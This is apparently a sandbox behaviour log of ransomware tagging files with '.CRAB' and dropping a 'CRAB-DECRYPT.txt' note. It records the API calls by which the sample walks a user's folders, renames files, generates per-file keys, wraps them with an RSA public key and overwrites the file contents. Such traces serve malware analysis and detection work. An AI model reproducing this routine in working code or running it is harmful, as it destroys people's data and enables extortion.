	[0125.998] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0125.998] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0125.998] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.998] FindNextFileW (in: hFindFile=0x3158b00, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0125.998] lstrcmpW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2=".") returned 1
	[0125.998] lstrcmpW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="..") returned 1
	[0125.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\", lpString2="d3-dio7qxDBO-Md.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg"
	[0125.998] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.998] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg") returned 103
	[0125.999] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg") returned 103
	[0125.999] lstrlenW (lpString=".jpg") returned 4
	[0125.999] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.999] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0126.007] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.008] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg") returned 103
	[0126.008] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg") returned 103
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="desktop.ini") returned -1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="autorun.inf") returned 1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="ntuser.dat") returned -1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="iconcache.db") returned -1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="bootsect.bak") returned 1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="boot.ini") returned 1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="ntuser.dat.log") returned -1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="thumbs.db") returned -1
	[0126.008] lstrcmpiW (lpString1="d3-dio7qxDBO-Md.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.008] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.008] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB") returned 108
	[0126.009] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\d3-dio7qxdbo-md.jpg")) returned 0x20
	[0126.009] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg", dwFileAttributes=0x20) returned 1
	[0126.009] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\d3-dio7qxdbo-md.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\d3-dio7qxdbo-md.jpg.crab")) returned 1
	[0126.010] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.011] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB"
	[0126.011] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB.CRAB"
	[0126.011] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0126.011] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.012] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.012] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.012] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0126.012] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.012] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.012] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0126.013] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.013] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.013] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.013] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0126.013] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.013] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.013] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.014] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.014] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0126.015] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3159000) returned 1
	[0126.015] CryptGetKeyParam (in: hKey=0x3159000, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0126.015] CryptEncrypt (in: hKey=0x3159000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0126.015] GetLastError () returned 0x0
	[0126.015] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.015] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0126.016] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3158d40) returned 1
	[0126.016] CryptGetKeyParam (in: hKey=0x3158d40, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0126.016] CryptEncrypt (in: hKey=0x3158d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0126.016] GetLastError () returned 0x0
	[0126.016] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.016] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\d3-dio7qxDBO-Md.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\d3-dio7qxdbo-md.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0126.017] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.017] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.017] ReadFile (in: hFile=0x3e0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3149f24*=0x490, lpOverlapped=0x0) returned 1
	[0126.029] VirtualAlloc (lpAddress=0x0, dwSize=0x490, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.030] VirtualAlloc (lpAddress=0x0, dwSize=0x490, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.030] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.030] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffb70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.031] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x490, lpOverlapped=0x0) returned 1
	[0126.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.031] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.035] WriteFile (in: hFile=0x3e0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0126.035] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0126.035] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0126.035] CloseHandle (hObject=0x3e0) returned 1
	[0126.035] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.035] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.036] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.036] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.036] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.036] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.037] FindNextFileW (in: hFindFile=0x3158b00, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0126.037] lstrcmpW (lpString1="yZ1m.gif", lpString2=".") returned 1
	[0126.037] lstrcmpW (lpString1="yZ1m.gif", lpString2="..") returned 1
	[0126.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\", lpString2="yZ1m.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif"
	[0126.037] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.037] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif") returned 92
	[0126.037] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif") returned 92
	[0126.037] lstrlenW (lpString=".gif") returned 4
	[0126.037] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.037] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0126.038] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.038] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif") returned 92
	[0126.038] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif") returned 92
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="desktop.ini") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="autorun.inf") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="ntuser.dat") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="iconcache.db") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="bootsect.bak") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="boot.ini") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="ntuser.dat.log") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="thumbs.db") returned 1
	[0126.038] lstrcmpiW (lpString1="yZ1m.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.038] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.038] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB") returned 97
	[0126.039] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\yz1m.gif")) returned 0x20
	[0126.039] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif", dwFileAttributes=0x20) returned 1
	[0126.039] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\yz1m.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\yz1m.gif.crab")) returned 1
	[0126.040] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.040] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB"
	[0126.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB.CRAB"
	[0126.040] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0126.041] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.041] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.042] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.042] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0126.042] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.042] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.042] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0126.042] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.043] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.043] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0126.043] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.043] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.043] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.044] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.044] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0126.044] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3158e80) returned 1
	[0126.044] CryptGetKeyParam (in: hKey=0x3158e80, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0126.044] CryptEncrypt (in: hKey=0x3158e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0126.045] GetLastError () returned 0x0
	[0126.045] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0126.045] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0126.045] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3158bc0) returned 1
	[0126.045] CryptGetKeyParam (in: hKey=0x3158bc0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0126.045] CryptEncrypt (in: hKey=0x3158bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0126.046] GetLastError () returned 0x0
	[0126.046] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.046] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\yZ1m.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\yz1m.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0126.046] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.047] ReadFile (in: hFile=0x3e0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3149f24*=0x15cf1, lpOverlapped=0x0) returned 1
	[0126.060] VirtualAlloc (lpAddress=0x0, dwSize=0x15d00, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.061] VirtualAlloc (lpAddress=0x0, dwSize=0x15d00, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.064] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.064] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffea30f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.064] WriteFile (in: hFile=0x3e0, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x15d00, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x3149f14*=0x15d00, lpOverlapped=0x0) returned 1
	[0126.065] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.065] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.069] WriteFile (in: hFile=0x3e0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0126.069] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
